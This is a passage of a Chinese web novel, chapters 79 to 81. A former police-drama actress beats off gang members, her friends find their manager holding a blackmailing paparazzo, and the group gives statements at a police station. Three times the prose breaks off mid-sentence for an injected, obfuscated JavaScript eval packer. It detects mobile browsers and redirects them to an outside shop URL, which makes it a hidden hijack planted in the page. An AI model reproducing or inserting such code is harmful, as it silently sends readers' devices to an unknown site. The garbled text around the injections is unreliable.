车内的三人胆战心惊地看着这一幕,安声甚至趴在车窗上,用力拍打车窗提醒关清英,由于车窗的密封性好,导致他的表情与动作都像是无声的哑剧。 关清英脸上的笑意慢慢降了下去,她看了眼车窗上的倒影,身体往前半倾,双手往外摊开,做出了一个像是芭蕾舞谢幕的动作。 在两个混混的嚎叫声逼近时,关清英一脚蹬地,迅速滑退一段距离,来到两人身前。 她双手精准地猛然向上打去,两人的手臂与手肘分别被击中,那力道极强极狠,几乎是一瞬间便让皮肉发紫,两人痛得顿时松了手,手中武器脱落。 关清英两手稳稳接住了砍刀与铁棍,她的头向右微偏半分,似是分辨了一下,手下使力,将砍刀换至刀背朝下。 接着起身的同时,用铁棍狠狠击打左手边的混混,一棍打在背部,一棍打在腿弯,混混痛得大叫,身体却诚实地跪了下去。 “你大爷的——啊啊啊!!”混混要骂出声时,关清英最后一击选择了用脚踢,她怕用棍子把人打死了,于是横踢一脚在混混颈后,把人踢晕了过去。 踢完人后,流畅的一个旋身,半蹲,躲过了另一个混混的袭击,这人手里没了武器,就像来白送的。 混混见关清英躲开了,凶狠地举起双手,做出拳击的姿势。 他体型高壮,关清英却也没比他弱到哪儿去,她脱下有些影响动作的外套,绑在了腰上,外套里面是一件无袖背心,衬托出她手臂上的肌肉。 高壮混混身上多是肥膘,也就是脂包肌,与关清英这类精瘦型还是不同。她的训练与奚亭云等人在健身房强拉出来的不一样,她的肌肉与肢体相互牵连协调,是经过无数次的全身性训练,反应速度训练而成,不是单一的训练局部身体部位。 高壮混混看关清英相比起他还是有些略瘦的身型,不屑地笑了:“他们就放你这么个娘们出来的打?哈哈哈哈哈哈真是不自量力,一群怂比!” 关清英轻轻歪头,像是对他这种狂言有些反感,她没有摆出防御性姿势,而是伸出一只手,朝人勾了勾手指,她说:“我会打得你叫娘。” 高壮混 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126369|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 混笑声停住,死死盯着关清英冷哼一声,他扭动脖颈,发出咔咔的声响:“那就别怪我不手下留情了。” 随着一声怒吼,高壮混混猛地冲向关清英,他气势十足,叫声洪亮,气势汹汹地冲了过来。 而反观关清英,她静静的站在原地,看着他靠近的步伐与身体姿态,在人即将靠近她的下一秒—— 侧身一跃,单手撑地,双腿上抬,以极快的速度缠上混混的脖颈,双腿绞紧,手离地,以腰腹带动身体,身体绕着混混使力一转,两人身位瞬间调换。 关清英利用身体惯性与力量将混混带倒,两人摔落地上,混混抓紧了她双腿,关清英更是收紧双腿,死死缠住他。 混混面部涨红,脖颈青筋暴起,随着绞得动作更紧,他呼吸不畅起来,连话都说不出来,肺部空气愈来愈少,导致整个胸腔都在隐隐阵痛。 关清英看差不多了,收腿时立地翻滚起身,捡起刚才丢在一边的铁棍,果断回身朝想反扑的混混当面来了一棍! 砰—— 高壮混混鼻腔里溢出血来,他愣愣地摸了摸鼻子,十分不敢置信,这么一个没多高的娘们,居然把他打到流鼻血。 而在他发呆的间隙,关清英朝商务车走了两步,接着一跃而起,一脚踩在车身,借力跃得更高,回身,双手举棍,朝着高壮混混的脸,用力挥下! 嘭—— 钢棍打在脸部颧骨处,闷响与震动同时回荡,混混的脸被打得歪到一边,身体也倾斜倒下,口鼻中的血喷溅了一地。 噗通一声,混混倒下,关清英稳稳站在了地上。 她一脚踩在混混身上,一边挥拳打脸,一言不发地一下接一下地打,完全没有停的意思。 直到混混眼歪嘴斜,脸肿得像个猪头,哭着讨饶道:“我,我错了,娘,娘!我不敢了!我不是您的对手!饶了我吧!!” 关清英这才收手,她站起身审视了一下混混,确认他没有还手能力了才走去其他地方。 车内的三人早已目瞪口呆,良久,才挤出一句话。 “她好帅。”安声星星眼。 “她好酷。”萧子重赞叹。 “她好强。”奚亭云震撼。 三人一通佩服后,由奚亭云挪到驾驶位上,慢慢开着车往前移动。 而关清英则就在车的前方——开路。 她的纯白背心沾了血污与泥土,一步一步地走在车的前方,原本互相斗殴的两个帮派在发现肥肉要走后,纷纷调转了方向,统一阵营的都扑向这辆商务车。 而关清英,总会第一时间发现拦路的人,绕着车一个个打下去。 她手持钢棍,卡住一人的脖颈,将人翻倒后,身后冲来一人,她迅速抬起手肘击打那人的胸口,抓住武器卸下,两手并用地将人打趴下,随后又流畅地接上下一个人。 两个帮派的人都不约而同地将目标放在了关清英身上,人人都用最阴毒的方式攻击她,用砍刀、用斧头、用菜刀,甚至还有用铁丝勒住她脖颈的,招招致人死命,就没想着让她活下去。 而关清英却始终恪守底线,她只把人打晕,打倒,连打头都是少有的招式,多数是打脸打鼻子让人晕倒就好。 加油站这段路不长,开得却异常的慢,关清英每清理一段路,奚亭云就往前开一点。 他们自己心里有逼数,不要下车去添乱,就是对关清英的最大帮助了,毕竟他们三个可能刚下车就被人打趴下,关清英还要分神去照顾他们。 不过三人始终提心吊胆地看着,生怕关清英受伤,被人打到,一个个像是比自己打架还要操心。 “英姐小心!”安声紧张道。 “后面后面!啊啊啊啊那个傻逼居然偷袭!太不要脸了。” “强这个字,我已经说累了。”萧子重说。 奚亭云则全神贯注地将注意力放在开车上,不让关清英的清理路障的过程白费。 车内的三人看着加油站从前往后的挪动,直到开出一段距离后,车行驶过的马路两边躺满了哎哟哎哟叫唤的人,一个个缩成一团喊痛,有的还在往前爬,试图追上他们。 到后面,关清英手里拿着钢棍,像是悠闲似的敲打着另一手的手心,等人过来找打。 忽然,她停住动作,在车前做了个停止的手势。 奚亭云不明所以地停下了车。 只见关清英往前走了几步,弯下腰伸手拉住一个人的衣领,拖着这人挪到路边后,才对车做出了一个“前进”的手势。 众人:“......” 在车驶出加油站后,关清英单手撑着车前盖爬上了车,踩着车窗登上了车顶。 夜风吹拂着她的头发,关清英将钢管抵在脚边,手撑在钢管上,她看着那些趴在地上,逐渐远去的人影,露出了一个畅快的笑。 这是她结束拍摄【重刑之下】以来,最开心的时刻。 79. 敲诈勒索7 开车的人换成了关清英。 虽然她衣服脏兮兮都是血,脸上也有不少灰尘,以及手臂上有些许的划痕与青紫痕迹,但都没关系。 刚才那些紧张时刻对她来说反而像是酣畅淋漓的一场运动,此刻她精神高度专注,车子接近两百码的速度开着。 与帮派缠斗花了将近一个小时,此刻他们需要加快速度。 到达【西郊废弃工厂】,四人匆匆下了车,看向这座工厂内部,里面亮着几盏零星的小灯。 关清英非常有经验的对几人说:“手机全都静音,等下千万不要说话,交流用手势,以免惊动嫌犯,我走在前面,你们跟着我,听我口令行事。” 三人异口同声:“收到。” 关清英放轻脚步,贴着掩体进入了工厂内部,几人来到亮着灯的主楼,几乎能确定“邪恶狗仔”就在上面。 几人沿着楼梯上去,越靠近,似乎越能听到些声音,刚开始几人有些不确定,但随着靠近,那清晰的叫骂声,他们再耳熟不过了。 “底片呢底片呢?要我问多少遍!??” 那声音的声线偏高,激动时也有些尖,“别以为我有时间陪你玩,我忙得很,赶紧说,我钱都给你了,几张照片就想打发我,我要底片!你别想第二次讹诈我!” “呜呜呜唔唔唔!!!”含糊不清的声音。 “唔你个头啊,说话!” 四人默默走近,关清英站在宫欢身后,默默说了句:“他被堵着嘴,应该说不出话来。” “啊——啊啊啊有鬼啊!” 突然出现的声音吓得宫欢尖叫乱蹦,跳了几下后,她看见有些狼狈的关清英,还有奚亭云,安声,萧子重,一堆人。 宫欢不由得瞪大眼睛,眼睛转了转,心虚地上前一步挡住身后的狗仔:“你,你们怎么在这!?” 萧子重看宫欢没事,当时就脱了力坐在地上:“我的天啊我的地,我的姐,你这一晚上,太能折腾了——累死我了,我神经紧绷着就没松懈过!!” 安声也大喘气:“欢欢姐,你,我们担心死你了。” 关清英没放松警惕,她视线越过宫欢挡住的地方,看了眼被绑在一张木椅子上,嘴里塞着布条贴着胶带的男人,指着人问:“他就是‘邪恶狗仔’吗?” ‘邪恶狗仔’哭得很惨,他被绑在一张缺了腿的木椅上,身体晃动着,老旧的木椅子发出吱呀吱呀的声音,嘴里呜呜呜地叫着:“呜呜呜呜!!唔唔呜呜呜,呜——” 说着还哭了,像是被人欺负了似的。 关清英看向宫欢,不说话,但带着问题的眼睛让人无法躲避。 宫欢心虚地眼神左右瞟,目光落在关清英身上后,脸色白了许多,抓着她的肩膀上下看:“你身上怎么这么多的血?没事吧,怎么回事啊,哪里弄得?” “别转移话题,”关清英铁面无私,她甚至蹦了两下给宫欢看,“我没事,只是一些皮外伤,养两天就好,但是,你和他到底达成了什么交易,是否涉嫌违法行为,我要确定这个问题。” 嘶——宫欢头痛了。 而关清英身后,还有一道让人无法忽视的视线。 宫欢抬头,便撞进他担忧难过的眼中,她心里咯噔好几下。 奚亭云一被看见,便迫不及待地上前,拉着宫欢绕开关清英。 他靠得很近,手半扶着她的小臂,低头仔细地检查着她身上有没有受伤,或是被欺负的痕迹,看衣服干干净净的,奚亭云的心才放下一半。 他一直都在担心,这会情绪终是有些憋不住,眼眶微微发红,眉心皱着,显得整个人可怜又难过。 奚亭云紧抿着唇,他两只手都攥着她的手腕,紧张担忧地问:“为什么不告诉我?发生了麻烦的事情,为什么不说出来?” 他激动起来声音都有些大,萧子重与安声那边要看过来。 宫欢心里一紧,怕被人发现她与奚亭云之间的猫腻,急得拉着他走到一堵墙后,众人的视线都看不到这里。 “不是不告诉你,这种小事我经常遇到,它没什么的——” 宫欢话刚说一半,奚亭云松开了攥着手腕的手,转而轻柔又虚虚地环住她的身体,他的头倾靠在她肩上,轻轻拱了拱。 他声音很小,带着气音似的:“我不想听。” “你总是有理由忽视我,就像刚才。” 宫欢不解:“刚才怎么了?” “为什么,你看的第一个人,不是我。” 一刹那,宫欢的所有言语被封在喉咙里。 她有很多理由可以解释。 因为关清英离她最近,因为萧子重闹腾,因为安声是她外甥,因为......因为很多很多原因。 可宫欢要说的话,他又不听,那他想听什么? 宫欢有点哑巴了,她只好闭上嘴,只眨着眼睛看他。 也可能,她确实不知道为什么。 奚亭云大概猜到她的想法,他微微叹了口气,气息在宫欢的脖颈间流动,她不适应地缩了缩脖子。 奚亭云抬起头,情绪比起刚才和缓了许多,只是眼睛里积着一层潋滟的水光,衬得眼睛清澈透亮,看着非常漂亮,宫欢下意识就盯着他的眼睛看。 “我担心你,很担心很担心,”奚亭云认真地说,“这不是一件小事,如果你来的路上被他绑架,万一这里有很多人,你一个人根本无法应付,有很多个万一,很多种可能,这么多种可能出现的意外,我一个都承受不起。” 宫欢小声抗议:“没有那么多......” 奚亭云嘴角微微扯动,想笑,却笑不出来。 他双手上移,扶住她的肩膀,倾身离她很近,像是要耐心地让她听话:“我知道你很厉害,我没有觉得你不行的想法…我只是,害怕。” 说到害怕,他声音带上细微的颤意,眼睛里积攒的水波逐渐多了,像是要落出来。 宫欢有些不敢看到它们落出来。 “我害怕你受伤,害怕你失踪,害怕你哭泣,我害怕很多,”奚亭云眼前有些模糊,他不敢眨眼,“可我只能害怕,我却什么都做不了。” 他不能像关清英那样,扫除所有阻碍的路障。 他也不像其他人那样,有足够的实力站在她身边。 他的担心,有什么用呢? 他既无力,又感到痛苦。 他要哭了。 宫欢的念头一出来,她就有些急,想安慰他,却又不知道该怎么安慰。 那些眼泪还没掉,她要想办法让他收回去。 “不会啊,你已经做了很多了!”宫欢伸出双手,想接住可能会掉下的眼泪,又觉得有些突兀,只好借着这个姿势抚上他的脸,安抚他似的。 “你,你担心我,就说明你一直在记挂着我,这对我来说已经是很重要的了,”宫欢说,“现在只是短短几个月,你就和他们站在了同一起跑线,你的潜力很大,以后会有更好的成就,放心,有我在,我肯定让你红遍大江南北,让你做巨星!” 她不太会哄人,反正捡着好听的说就行了。 可是,怎么感觉没什么用,奚亭云的眼泪还是欲掉不掉。 宫欢有些烦恼,她手指顺着他的面部轮廓,滑到眼睛的部位,指腹触碰到他纤长的眼睫。 奚亭云垂眸,眼中积攒的水凝聚成珠,随着眼睫的方向落在了宫欢的指尖,温热的,烫的。 她有些想收回手,可还是忍着没动,继续安抚他,手指拭去他接二连三落下的眼泪,捧着奚亭云的脸:“我以后不乱闹了,我遇到事情会跟你说,我,我——” 奚亭云抬眸,一动不动地盯着她看,仿佛就等着她说出这句话。 宫欢感觉这好像是个坑,可这会气氛到了,不说好像不太合适。 “我,保证,以后第一个先看你。” 眼泪不再掉了,剩余的水慢慢在眼中消散,水洗过的眼睛明亮,柔和,好像还带着些笑意:“你说的。” 宫欢还是感觉她在坑里,但也只是顺着他说:“嗯嗯,我说的,我说话算话。” 她收回手,指腹上还带着些湿润,下意识在衣服上蹭了蹭,想蹭掉那说不清的奇怪感觉。 奚亭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126370|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云又收紧了手,轻轻抱了下她,凑到她耳边:“欢欢最好了。” 宫欢缩了缩脖子,感觉耳朵痒痒的。 两人在这边待的时间有点久,外面有人在叫:“宫欢,老奚,你们俩打算在里面待到猴年马月啊?再不出来,英子就要把人送进去了。” 宫欢一下急了:“不行啊,他东西还没给我呢!” 正打算出去,宫欢看见奚亭云眼睛周围还红红的,一看就是哭过的痕迹。她想了想,从身上摸索了一阵,摸到今天戴的墨镜。 她塞给他:“戴上这个,别让他们看出来。” 他这眼神,怕谁不知道他想上位啊! 奚亭云看了宫欢一眼,她心虚地避开视线,他也没多说,只是安静地接过来,轻轻戴了上去。 - 两人一前一后地走出来时,关清英正站在狗仔面前,翻着手机上他发的‘交易’短信。 “这些短信明显就是敲诈勒索,”关清英说,“她拿了两百万给你,你也找人收了,勒索成功,罪加一等,等着被起诉吧。” 狗仔仍被绑在椅子上,口中的布条与胶带刚才让关清英解开了。 他坐在椅子上也不安分,两脚踩地往前扑腾着,十分委屈求全地哀怨道:“不是,这是宫欢她答应做的交易,她愿意掏钱买我的线索,就是普通正常的交易!而且,你见哪个敲诈的人反被绑架的!??” 说起被绑这件事,狗仔情绪异常激动,他像是把关清英当成了电视台里负责维权的调解员,鼻涕一把泪一把地说着来龙去脉: “她一到这,我还没说出准备好的台词,她上来就把我打了一顿!说我耍她,欠揍欠教训,然后把我打得——你看啊,我这半边眼睛,还有腿,都是她干得好事!” 狗仔哭得委屈,左眼一圈青紫痕迹的确做不了假,他越说越憋屈,呜呜地哭。 “我都把照片给她了,她还不满足,还要底片,我说底片在相机里面,我没带来,但是我保证交易结束后会全部删掉。她不信,说我还在耍她,呜呜呜——我这辈子好歹是个记者,去哪儿不是被人尊敬,结果在她这居然一点信任都没有。” 这和众人想象中的剧情不大一样。 大家都以为宫欢是被诱骗到废弃工厂,而对方也许会一石二鸟,一边收了她的钱,一边再将她绑架,赚两次钱。 再或者,就是拿捏着把柄威胁宫欢一次次给他当ATM机。 萧子重默默吐槽:“怎么和电影里不一样。” 安声深有同感:“大概是因为欢姐比较不走寻常路。” “那照片呢?”关清英问出了事情的关键点。 狗仔正吸了吸鼻涕,泪涕横流地要说:“手机相册——咣!” 没等他说完,远处飞砸来一块砖头,命中狗仔的脸,顿时将人砸得后仰,鼻血飞飚而出,人当即晕了过去。 关清英的线索中断,她不太开心地回头,看见几步远的宫欢露出个讨好的笑。 宫欢身后,突兀地站着戴着蝴蝶结墨镜的奚亭云。 有点好笑,有点滑稽。 “那个,不要听他乱说,这个人特别阴险狡诈,”宫欢煞有介事地提醒道,还走过来,抓着人衣领,朝狗仔“啪啪”扇了两巴掌,确定人晕过去了才点头,“现在他没办法伤害我们了。” 众人:“......” 萧子重慢悠悠走了过来,纳闷地看着奚亭云:“刚才进去还没这玩意儿呢,怎么一出来就戴上了——她这么狠毒,把你也打了?” 要不是宫欢正在清理犯罪现场,她必定连萧子重也一块砸晕。 “没有,”奚亭云虽然在回答萧子重的话,可墨镜下的眼睛却始终没有从宫欢身上移开过,“我只是眼睛进沙子了。” “那刚才你和欢姐去那边聊什么了?”安声好奇地问。 奚亭云默默转过头,看了安声一眼,被人无声盯得背后发凉,安声顿时噤声。 萧子重没深想,还是觉得宫欢打了奚亭云,还逼迫他戴墨镜,以防被他们这些人看出来,影响军心,这个说法更为贴合实际。 80. 敲诈勒索8 在宫欢的使唤下,三人将狗仔抬起来塞到了车的后备箱中。宫欢找出了医药箱,让人给关清英上药。 接着由萧子重主动提出开车,载着众人前往A市警察局(在关清英的监督下)。 车开至一半,临近加油站时,刚好碰见了出警的警察,道路被拉起了黄色警戒线,地上一群人双手抱头,蹲成一片。 车速缓缓减慢,直到停在一名指挥交通的警察前,萧子重降下车窗,警察便站在车窗前敬礼,询问:“请出示证件,前方出现聚众斗殴,你们最好绕行。” “不用绕,”关清英出声,她降下自己那边的车窗,“是我们报的警,刚才我们来的时候他们拦路劫车,后被我们制服,报警就是想让你们处理一下现场。” “你们?那边可是有二十多个人,你们也就五个人,怎么可能?”这位警员诧异地看了看车内的几人,看着细皮嫩肉,不像是训练有素的人。 但当警员看清楚关清英的脸后,他更是震惊:“你是——陈队长!?” 关清英并没太大反应,只是点点头:“是我,麻烦放我们过去,我们有情况需要去一趟警局,顺便会对斗殴事件做详细的过程记录。” “当然行,当然行!”这位警员连连点头,他顿时转身去和另一位警官说明情况,而那人也往车的方向看过来,确认车上确有关清英后,几人拉开警戒线,指挥着车辆前行。 车身缓缓加速,关清英朝那几位警员点头致意,而几位警员也以敬礼回礼。 宫欢坐在副驾驶,她看着车外蹲了几十号人的混混,车开过时,那些人看见这辆商务车都发怵瑟缩的样子,不由得问:“你们都干了什么,这些人怎么都很害怕?” 安声说:“多亏了英姐,来的时候这些人拦着我们不让过,多亏英姐揍他们!” “英子,你也太有面了,”宫欢感叹道,“打能打一片,连警察都对你礼让三分,我都要怀疑你是不是卧底警察了。” 关清英一本正经:“我可以很确切的告诉你,不是,我这张脸已经有太多人知道,做不了卧底。” 安声还在搭话:“欢姐你是不知道,英姐当时特别帅,她左一个右一个,来一个砍一个......” “比起那些,”宫欢突然想起来,回头瞄了眼安声,他那深V衬衫上的吻痕,还有脸上没擦干净的一些红唇印,她兴师问罪,“你是不是应该告诉我,你今晚,都做了些什么呢?” 安声一下卡壳,默默缩在车座里当空气。 宫欢哼了声,“回去再找你算账。” - 警局。 做笔录的过程中,狗仔清醒了过来,老老实实的交代了前因后果,只是说,他想拿照片换点钱,并没多说其他的。 而当做笔录的警员找出狗仔手机里的照片,让宫欢确认的时候,场面就略有些尴尬了。 照片有六七张,除了宫欢带着安声去奢侈品商场的照片外,还有宫欢与奚亭云在别墅的湿身一幕。 警员将照片给宫欢看时,其他几人凑了过来——毕竟大家都想知道到底是什么交易,让宫欢折腾这么一晚上。 当奚亭云湿身那一幕出现时,众人死一般的沉默,内涵的眼神彼此交换着。 宫欢更是咬紧了口中的腮肉,拼死让自己不要露怯:“......是的,这个是他P的图!当时我的朋友因为地上有积水滑倒了,我去扶他,才会有这么一幕,但是绝对没有这么奇怪!我们清清白白,绝对没有不正当关系!!” 警员若有所思地点头:“既然是这样,我们可以去鉴定一下图片的真假,来还你一个清白。” 宫欢顿时像烫到了舌头:“这这这个就暂时不用了,不用这么麻烦啦,额,反正,公道自在人心!你们说是不是——”宫欢说着朝身后几人看,理直气壮地询问。 奚亭云还带着超大号蝴蝶结墨镜,他微微颔首:“是这样的。” 其他人:“......” 警员:“既然你们不想闹太大,那就这么定案了。” 接着宫欢去签了笔录,顺便看一看狗仔被关在拘留所的落魄样。 剩下的几人,可就热闹了。 萧子重·唯一没有出现在绯闻照上的人,他狐疑地用胳膊肘捣了捣奚亭云,问:“老奚,真是宫欢说的那样吗?” 奚亭云:“的确是。” 一切清白的不能再清白了。 奚亭云当时用尽了毕生所学的招数,都没能让宫欢的手往前一公分。 但凡她往前一点,奚亭云都想好要怎么喘了。 但是。 当时,宫欢硬生生卡在了那一公分的位置。 奚亭云的手指圈着她的手腕,带着她,引着她往前探索。 她深呼吸,狠狠闭眼,抽回了手,反手拿了条浴巾丢给奚亭云:“湿了就擦!” 奚亭云苦心营造的暧昧氛围,顿时消散。 后面尽管他有些委屈,宫欢都心如磐石,简直像是洛阳石窟的石像佛,对各类妖色精魅不为所动,一心只想做块石头普度众生。 以至于,奚亭云十分怀疑自己的手段。 虽然他的手段确实一般,不过连最低级的色诱都无法入她的眼,这让奚亭云很受打击。 打击过后,更是坚定了他要学习的心。 奚亭云收集了不少歪门邪道的知识点。 例如: 注意她最经常看的身体部位是哪里? 声控、手控、还是单纯的看脸? 喜欢强势、可爱、温柔、阴湿哪一种类型的人? 吃软套路,还是硬套路? 喜欢粘人的,还是有分寸的? 种种内容,奚亭云都会去做一些试探,在宫欢那得到反应后,便牢牢记下来。 除此外,他偶尔刷一刷某书,看看有没有剑走偏锋的招数,有合适的,便会想着怎么去试。 而今晚,奚亭云发现了一点,宫欢很吃他可怜的那一套。 她还是很心软,舍不得别人难过。 他不太舍得用这种办法去逼迫她。 - 热闹的还有另一边。 关清英从警局的洗手间出来,脸上带着些细小的伤口,比刚才灰扑扑的样子清爽干净不少。 小李警员见她出来,忙将自己的衣服递给她:“英姐,你穿我这件衣服吧,是干净的一直没穿过,你身上这件都破了......别这么拼啊,劫车给他们钱就好了,那么多人,你当你是铁打的吗!” 关清英低头,随手拍拍衣服上的灰尘:“不用,做完笔录我就直接回去了,到时候洗洗直接换了。” 小李警员拿她没办法,只好收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126371|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起衣服。 后面有几个警员凑过来打招呼:“英子,听说你又大战了一场啊,这两伙人劫车抢劫干了不少,那个加油站的人都被他们买通了,要不是你今天这趟,我们还一直逮不完这么多人呢。” “举手之劳,”关清英轻描淡写,“谁让他们不长眼。” “这就是陈队长吗!”一个新来的警员从几人中挤出来,眼里带着欣喜,“陈队长!我特别喜欢您,我从小就是看着您的剧长大的,来做警察也是因为您,我特别想成为像您一样的为人民做实事的警察!” “得,又是英子粉丝。”几个老警员习以为常。 关清英看了那人一眼,虚心接受了他的夸赞:“谢谢喜欢,我相信你会超越我,成为更好的警察。” “您能给我签个名吗!!” 新警员找几个老人借笔,让关清英签字。 关清英低头签着‘陈队长’,有老警员问她的近况,关清英不动声色地应付了过去。 都是见过牛鬼蛇神的老油条,看关清英的样子不像是想多说,几人也就没再多问。 有位在【重刑之下】客串了配角的警察语重心长地说:“没有这身衣服,做事还是别太张扬,英子,你不是‘陈队长’,你还要生活的。” 关清英落笔的动作顿了顿,听不出情绪的应了一声:“嗯,我知道。” 新警员不高兴地反驳:“怎么不是了!英姐在,陈队长就在,她就是陈队长!能一个人打趴二十多个人,英姐比陈队长还厉害呢!” “行行行,你就吹吧。” 关清英眼里浮上些笑意,她将笔还给新人,又扶正了她的警帽,凝视着帽檐上的警徽,后又对上新人的眼睛:“希望,你能做到我做不到的事。” 新人警员两眼奕奕有神,站得笔直的同时,抬起右手,对着关清英缓缓做出了个敬礼的动作。 所有人做完笔录,又是凌晨的时间了。 众人走出警局,关清英慢慢地落后了几步,将要走出警局大门时,她停住脚步,回头。 六七个警察在警队大院里站成一排,对着关清英做出了敬礼的动作。 关清英从来没有哭过。 在长达10年的拍摄中,困难与痛苦一重叠一重,训练强度日复一日的增加,身体与心理的双重折磨下,她从来没有哭过。 她不怕吃苦,不怕困难,不畏惧任何艰难。 但在一年前,那些日复一日的东西被轻而易举地拿走了。 有人告诉她:拍摄结束了,恭喜你,你杀青了。 关清英提着行李箱,站在剧组外,太阳很烈,她感到无所适从。 陈队长的最后一幕,是死在了跨国du贩的枪下,然后被毒。贩抛尸入海。 没有人记得她究竟是死了,还是仍在毒贩的控制下,那个名声大噪的陈队长,再也不会回来了。 那她呢? 她会死在哪里? 她又该去哪里? 有人,会记得她吗? 关清英扯了扯嘴角,朝敬礼送别的警察们笑了笑。 她转过身,有一颗晶莹的泪珠飘落。 在她的前方,宫欢等人前前后后的站着,都在看着关清英。 半坐进车内的宫欢朝她招招手,催道:“走啦,英子。” “来了。” 81. 皎皎月明1 璀璨娱乐公司内部正在开着一场会议。 “TXT这几天放出点物料,再发出去一些澄清包,”郑羽坐在会议桌的主位,手里拿着一支笔,敲着桌面,“让水军跟上洗,尽量在下个活动之前把影响降到最低——” 叮叮叮—— 放置在会议桌上的手机响起铃声,震动着提醒。 郑羽拿起手机,示意其他人继续讨论。 来电没有名字显示,郑羽直接接起,她还没来得及出声,便被劈头盖脸的骂了一通—— “郑羽!你爹的一点底线都没有,长的一张漂亮脸,干得全是偷鸡摸狗的事情,说什么公平竞争,你居然找狗仔在我家附近蹲我,他拿照片勒索我的主意是不是你出的!?” “你家族谱到你这辈真是该烧了,另开一本吧,一点好事都不干,怎么阴毒怎么来,祖宗们在地府里头都磕破了吧,就为了你这个不孝子孙!” “我告诉你,要不是我念着以前共事的那点旧情,今天警局我早就把你供出来了,你这会儿早就吃牢饭去了,赶紧让你祖宗给我磕一个。” 如连珠炮弹般的骂声出来,把郑羽震得一愣又一愣,即使手机没开免提,宫欢的声音还是传到了整个会议室内。 众人原本讨论公关方案的议论声顿时安静下去。 一个个低着头竖起耳朵,试图听出些八卦来。 郑羽反应过来,捂着手机瞪了众人一眼:“该干嘛干嘛去!” 走到会议室门外,郑羽才重又接起手机:“宫欢你发什么疯,我根本听不懂你在说什么勒索照片的,小心我告你诽谤!” “哎哟告我诽谤~我好怕啊~”宫欢阴阳怪气地重复,“你去告啊,我倒要看看你有没有那个胆子。” “你!” 没等郑羽发脾气,宫欢那边念出了些熟悉的内容:“‘只要你能骗到她,我后面还会给你加钱’、‘你要钱,我要她吃亏,大家都是一个目的’,啧啧啧,这聊天内容,真是锤死了啊。” 听着宫欢念出的那些熟悉的聊天内容,郑羽的脸一点点白了,她压低声音:“你怎么得到这些聊天记录的!?” 还有刚才宫欢说的警局...... 郑羽的心一点点沉了下去,她不笨,看来是狗仔暴露了,还把她供了出去。 果然,她就不该信这些人。 郑羽压住因为慌乱而噗通噗通狂跳的心,努力让自己平静下来,和宫欢谈判:“这次是我输了,你提个条件,怎么才能让这事过去。” 电话那边,只能听见宫欢嚣张张扬的笑声,郑羽几乎能猜到宫欢这会肯定又是高高在上的模样,她压下心头哽着的那口气,低声下气地说:“宫、大、经、纪、人。” 只听见宫欢轻飘飘地说:“好说,让你祖宗给我磕个头吧,这事儿就算过去了。” “宫欢!”郑羽声音一下拉高,“你别得寸进尺!” 宫欢:“你又不是第一天认识我,我能得寸进尺,绝对不退一步,你放心,这事儿没完。” 说完,宫欢挂断了电话。 “宫欢!喂,你别挂!草——”听着耳边嘟嘟嘟的挂断声,郑羽气急败坏地将手机用力摔出去,砸到了会议室的玻璃门,发出“咣”的一声响动。 会议室的玻璃门后趴着的一双双眼睛,都在偷偷看外面的郑羽,她正在气头上,怒火烧得整个人都失去了理智,看见会议室后的众人,破口大骂道:“都看什么看,闲得没事做吗!?” 郑羽跌坐在一张椅子上,呼吸久久平复不了。 现在她最重要的把柄落在了宫欢手里,指不定这人会怎么反击。 宫欢的手段和套路都非常剑走偏锋,一招更比一招毒,对宫欢来说当下拿着把柄威胁郑羽自动舍弃一些资源给她,是非常顺理成章的事,也是大多数人会选择的一种方式。 可宫欢没有,她就是在吊着郑羽,让她坐立难安,不敢放松警惕,时时刻刻的提防着宫欢的反击。 毒,太毒了!! - 实际上,宫欢的想法倒没那么多。 她只是想找个人放狠话,出出气,让别人不好过,她就舒服了。 在废弃工厂时,宫欢几下撂倒了狗仔,把人绑在椅子上后,强迫对方将手机解锁,在里面查找照片。 照片全部删除完成,宫欢眼珠子转了转,想到了一个问题。 这个狗仔胆子肥到敢一个人来勒索她,背后说不定有人撑腰,否则不会这么猖狂。 于是宫欢将狗仔的私人聊天消息全部看了一遍,除了发现一些‘xx出轨’、‘xx曾与当红小生恋爱’、‘xx下个月官宣恋情’外,最引人注目的消息框,就是郑羽。 宫欢看见郑羽的微信时,瞬间什么都明白了。 狗仔就是郑羽找来算计她的,【敢说敢言】的男团初舞台秀大火出圈,可陈闪闪等人却遭到非议,进入低谷期。 郑羽把这笔账算到了宫欢头上,即使让狗仔偷拍勒索敲诈后,恐怕照片也会照常放出去。 而男团三人刚起步的节奏就会被瞬间打乱,以此达到击溃宫欢。 